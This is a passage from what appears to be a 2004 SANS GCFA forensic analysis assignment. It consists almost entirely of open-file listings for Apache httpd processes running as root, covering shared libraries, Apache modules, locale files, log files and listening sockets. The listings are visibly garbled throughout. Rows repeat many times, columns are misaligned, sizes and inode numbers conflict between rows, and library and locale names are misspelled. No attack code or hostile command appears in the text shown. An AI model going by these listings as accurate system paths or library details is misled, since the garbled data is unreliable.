<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>teg</td>
<td>mem REG</td>
<td>3,2 146819</td>
<td>66089</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NUIMERIC</td>
<td>teg</td>
<td>mem REG</td>
<td>3,2 146819</td>
<td>66089</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TYPE</td>
<td>teg</td>
<td>mem REG</td>
<td>3,2 146819</td>
<td>66089</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, Author retains full rights.

As part of GIAC practical repository. Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 10608 root mem REG 3,5 655224 63543 /lib/libdbd-3.3.so
httpd 10608 root mem REG 3,2 19662 66292 /usr/lib/libpm.so.11.0.23
httpd 10608 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so
httpd 10608 root mem REG 3,5 12102 65305 /lib/libxml2.so.2.2.5.so
httpd 10608 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 10608 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 10608 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 10608 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 10608 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 10608 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 10608 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 10608 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 10608 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 10608 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 10608 root mem REG 3,2 8770 229255 /usr/lib/apache/mod_userdir.so
httpd 10608 root mem REG 3,2 10167 229495 /usr/lib/apache/mod_alias.so
httpd 10608 root mem REG 3,2 53189 229250 /usr/lib/apache/mod_rewrite.so
httpd 10608 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10608 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10608 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_anon.so
httpd 10608 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 10608 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 10608 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10608 root mem REG 3,2 92407 440046

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

Page 141

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
httpd 10609 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 10609 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 10609 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10609 root mem REG 3,2 1453198 425001 /usr/lib/kerb5/libkcom_err.so.3.0
httpd 10609 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 10609 root mem REG 3,2 8621 440043 /usr/lib/krb5/libcom_err.so.3.0
httpd 10609 root mem REG 3,2 153026 66042 /usr/lib/libpspell.so.4.0.3
httpd 10609 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 10609 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 10609 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 10609 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.15
httpd 10609 root mem REG 3,2 48583 65345 /usr/lib/libsasl.so.7.1.8
httpd 10609 root mem REG 3,2 150102 65263 /usr/lib/libz.so.1.1.3
httpd 10609 root mem REG 3,2 59778 65396 /usr/lib/libpng.so.2.1.0
httpd 10609 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 10609 root mem REG 3,2 295833 65312 /usr/lib/libfreetype.so.6.3.0
httpd 10609 root mem REG 3,2 146819 65358 /usr/lib/libssl.so.0.9.6b
httpd 10609 root mem REG 3,2 28138 66039 /usr/lib/libltdl.so.3.1.0
httpd 10609 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 10609 root mem REG 3,2 235428 65365 /usr/lib/libxml2.so.2.4.19
httpd 10609 root mem REG 3,2 190692 65384 /usr/lib/libttf.so.2.3.0
httpd 10609 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 10609 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
httpd 10609 root mem REG 3,2 717774 65410 /usr/lib/libgd.so.1.8.4
httpd 10609 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.15
httpd 10609 root mem REG 3,2 48583 65345 /usr/lib/libsasl.so.7.1.8
httpd 10609 root mem REG 3,2 150102 65263 /usr/lib/libz.so.1.1.3
httpd 10609 root mem REG 3,2 59778 65396 /usr/lib/libpng.so.2.1.0
httpd 10609 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 10609 root mem REG 3,2 295833 65312 /usr/lib/libfreetype.so.6.3.0
httpd 10609 root mem REG 3,2 146819 65358 /usr/lib/libssl.so.0.9.6b
httpd 10609 root mem REG 3,2 28138 66039 /usr/lib/libltdl.so.3.1.0
httpd 10609 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 10609 root mem REG 3,2 235428 65365 /usr/lib/libxml2.so.2.4.19
httpd 10609 root mem REG 3,2 190692 65384 /usr/lib/libttf.so.2.3.0
httpd 10609 root mem REG 3,2 140141 65389 /usr/lib/libjpeg.so.62.0.0
httpd 10609 root mem REG 3,2 79725 440048 /usr/lib/kb5crypto.so.3.0
httpd 10609 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 10609 root mem REG 3,2 44992 65349 /usr/lib/libgeo.so.2.0.15
httpd 10609 root mem REG 3,2 45415 65323 /lib/libnss_files.so.2.2.5.so
httpd 10609 root mem REG 3,2 2457 130317 /var/log/httpd/error_log
httpd 10609 root mem REG 3,2 60 130322 /var/run/httpd.mm.8124.sem
httpd 10609 root mem REG 3,2 173680 130324 /var/run/httpd.mm.8124.sem
httpd 10609 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 10609 root mem REG 3,2 427611 440053 /usr/lib/krb5/libk5crypto.so.3.0
httpd 10609 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.15
httpd 10609 root mem REG 3,2 48583 65345 /usr/lib/libssl.so.7.1.8
httpd 10609 root mem REG 3,5 46117 65351 /lib/libnss_nisplus-2.2.5.so
httpd 10609 root mem REG 3,5 140102 73730 /lib686/libc-2.2.5.so
httpd 10609 root mem REG 3,2 173680 130324 /var/log/httpd/error_log
httpd 10609 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so
httpd 10609 root mem REG 3,2 44992 65349 /usr/lib/libgeo.so.2.0.15
httpd 10609 root mem REG 3,2 45415 65323 /lib/libnss_files.so.2.2.5.so
httpd 10609 root mem REG 3,2 2457 130317 /var/log/httpd/error_log
httpd 10609 root mem REG 3,2 173680 130324 /var/run/httpd.mm.8124.sem
httpd 10609 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 10609 root mem REG 3,2 427611 440053 /usr/lib/krb5/libk5crypto.so.3.0
httpd 10609 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.15
httpd 10609 root mem REG 3,2 48583 65345 /usr/lib/libssl.so.7.1.8
httpd 10609 root mem REG 3,5 46117 65351 /lib/libnss_nisplus-2.2.5.so
httpd 10609 root mem REG 3,5 140102 73730 /lib686/libc-2.2.5.so
httpd 10609 root 1w CHR 1,3 9637 /dev/null
httpd 10609 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10609 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
httpd 10609 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
httpd 10609 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 10609 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10609 root 16u IPv4 361623 TCP *:https (LISTEN)
httpd 10609 root 17u IPv4 361624 TCP *:http (LISTEN)
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>PID</th>
<th>Links</th>
<th>Size</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>10609</td>
<td>18w REG 3,6</td>
<td>265</td>
<td>44201 /var/log/httpd/access_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10609</td>
<td>19w REG 3,6</td>
<td>0</td>
<td>44198 /var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>cwd DIR 3,5</td>
<td>1024</td>
<td>2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>rtd 3,5</td>
<td>1024</td>
<td>2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>290169</td>
<td>131802 /usr/sbin/httpd</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>89547</td>
<td>63490 /lib/id-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>9883</td>
<td>229527 /usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>8301</td>
<td>229506 /usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>17638</td>
<td>229514 /usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>7438</td>
<td>229513 /usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>8530</td>
<td>229515 /usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>8274</td>
<td>229505 /usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>371</td>
<td>130311</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,5</td>
<td>101902</td>
<td>73734 /lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,5</td>
<td>173359</td>
<td>73732 /lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,5</td>
<td>23575</td>
<td>63501 /lib/ncrypt-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>30282</td>
<td>65273 /usr/lib/libgdm.so.2.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,5</td>
<td>655224</td>
<td>63543 /lib/libdb-3.3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>19662</td>
<td>66292 /usr/lib/libmm.so.11.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,5</td>
<td>141735</td>
<td>65380 /usr/lib/libexpat.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,5</td>
<td>12102</td>
<td>65303 /lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>14929</td>
<td>229516 /usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>27415</td>
<td>229519 /usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>18365</td>
<td>229523 /usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>19959</td>
<td>229512 /usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>35886</td>
<td>229511 /usr/lib/apache/mod_include.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>27836</td>
<td>229501 /usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>14940</td>
<td>229503 /usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>6924</td>
<td>229496 /usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>15974</td>
<td>229510 /usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>8541</td>
<td>229494 /usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>8770</td>
<td>229525 /usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>10617</td>
<td>229495 /usr/lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>53189</td>
<td>229520 /usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>10034</td>
<td>229493 /usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>11985</td>
<td>229497 /usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>8486</td>
<td>229498 /usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>9304</td>
<td>229499 /usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>9900</td>
<td>229508 /usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>8261</td>
<td>229509 /usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>10176</td>
<td>229521 /usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>8274</td>
<td>229505 /usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>65</td>
<td>130316</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>65</td>
<td>130316</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>83</td>
<td>130314</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>40</td>
<td>130315</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>58</td>
<td>179360</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>292</td>
<td>130313</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>22592</td>
<td>130323</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,5</td>
<td>89424</td>
<td>63507 /lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>1561021</td>
<td>229551 /usr/lib/apache/libphp4.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,5</td>
<td>35340</td>
<td>63567 /lib/libpam.so.0.75</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>28138</td>
<td>66033 /usr/lib/libtld1.so.3.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10610</td>
<td>REG 3,2</td>
<td>5300</td>
<td>66039 /usr/lib/libspell-modules.so.1.0.1</td>
</tr>
<tr>
<td>PID</td>
<td>User</td>
<td>Groups</td>
<td>Memory</td>
<td>Flags</td>
<td>Path</td>
</tr>
<tr>
<td>-----</td>
<td>------</td>
<td>--------</td>
<td>--------</td>
<td>-------</td>
<td>-------------------------------</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>27836</td>
<td>229501</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>14940</td>
<td>229503</td>
<td>/usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>6924</td>
<td>229496</td>
<td>/usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>15974</td>
<td>229510</td>
<td>/usr/lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>8541</td>
<td>229494</td>
<td>/usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>8770</td>
<td>229525</td>
<td>/usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>53189</td>
<td>229503</td>
<td>/usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>14940</td>
<td>229503</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>10034</td>
<td>229493</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>10617</td>
<td>229495</td>
<td>/usr/lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>210094</td>
<td>229531</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>1453198</td>
<td>425001</td>
<td>/usr/lib/php4/imap.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>8541</td>
<td>229494</td>
<td>/usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>8770</td>
<td>229525</td>
<td>/usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>53189</td>
<td>229503</td>
<td>/usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>14940</td>
<td>229503</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>10034</td>
<td>229493</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>10611</td>
<td>root</td>
<td>mem REG 3,2</td>
<td>10617</td>
<td>229495</td>
<td>/usr/lib/apache/mod_alias.so</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.

As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Process</th>
<th>Username</th>
<th>PID</th>
<th>Flags</th>
<th>Size</th>
<th>VRAM</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>/usr/local/en_US.iso885915/</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>1264225</td>
<td>/usr/lib/apache/libperl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>427611</td>
<td>/lib/kerberos/lib/kb5kdc.so.3.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
<td>/lib/libdap.so.2.0.15</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>48583</td>
<td>/lib/libssl.so.7.1.8</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>46117</td>
<td>/lib/libnss_nssplus-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
<td>/lib/lib686/libc-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>0</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>6</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>19959</td>
<td>/usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>12012</td>
<td>/usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>27415</td>
<td>/usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>14929</td>
<td>/usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>27415</td>
<td>/usr/lib/apache/mod_maintain.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>12012</td>
<td>/usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>191615</td>
<td>/lib/libldap.so.2.0.15</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10611</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>/usr/local/en_US.iso885915/</td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 10612 root mem REG 3,2 65 130316
/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 10612 root mem REG 3,2 161 130310
/usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10612 root mem REG 3,2 83 130314
/usr/lib/locale/en_US.iso885915/LC_NAME
httpd 10612 root mem REG 3,2 40 130315
/usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10612 root mem REG 3,2 58 179360
/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 10612 root mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 10612 root mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 10612 root mem REG 3,2 89424 63507 /lib/libnsl-2.2.5.so
httpd 10612 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 10612 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
httpd 10612 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
httpd 10612 root mem REG 3,2 5300 66039 /usr/lib/libpspell-modules.so.1.0.1
httpd 10612 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3-7
httpd 10612 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 10612 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 10612 root mem REG 3,2 14681 66089 /usr/lib/libcurl.so.2.0.2
httpd 10612 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 10612 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 10612 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 10612 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10612 root mem REG 3,2 44992 65349 /usr/lib/libjpeg.so.62.0.0
httpd 10612 root mem REG 3,2 8192 26693 /tmp/session_mm_apache0.sem
httpd 10612 root mem REG 3,2 55778 65358 /usr/lib/libz.so.1.1.3
httpd 10612 root mem REG 3,2 2457 130317
httpd 10612 root mem REG 3,2 42069 14681 66089 /usr/lib/libcurl.so.2.0.2
httpd 10612 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 10612 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 10612 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10612 root mem REG 3,2 44992 65349 /usr/lib/libjpeg.so.62.0.0
